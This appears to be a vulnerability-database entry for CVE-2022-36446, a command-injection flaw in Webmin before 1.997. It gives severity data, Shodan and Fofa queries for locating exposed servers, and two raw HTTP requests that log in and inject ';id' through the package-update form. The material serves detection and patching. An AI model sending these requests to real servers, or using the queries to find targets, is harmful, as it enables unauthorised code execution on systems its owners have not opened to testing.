| Title | Webmin <1.997 - Authenticated Remote Code Execution |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the target system. |
| Remediation | Upgrade Webmin to version 1.997 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93625 |
| CVE ID | CVE-2022-36446 |
| CWE ID | CWE-116 |
| Shodan Query | title:"Webmin"http.title:"webmin" |
| Fofa Query | title="webmin" |
| Tags | cve cve2022 packetstorm webmin rce authenticated edb vuln |
Webmin before 1.997 is susceptible to authenticated remote code execution via software/apt-lib.pl, which lacks HTML escaping for a UI command. An attacker can perform command injection attacks and thereby execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
POST /session_login.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ConnectPC Safari/537.36 Browser
Connection: close
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
user=jFTUg1&pass=8WExQr
POST /package-updates/update.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 218
Referer: http://www.victim.com/package-updates/update.cgi?xnavigation=1
Accept-Encoding: gzip
mode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%2738FBHUMrAqVXmAXtxaXs8LQ7ntl%27%2738FBHUMrAqVXmAXtxaXs8LQ7ntl%27%3B+id%3B+echo+%2738FBHUMrAqVXmAXtxaXs8LQ7ntl%27%2738FBHUMrAqVXmAXtxaXs8LQ7ntl%27&confirm=Install%2BNow
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-36446.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-36446.pcap
N/AN/A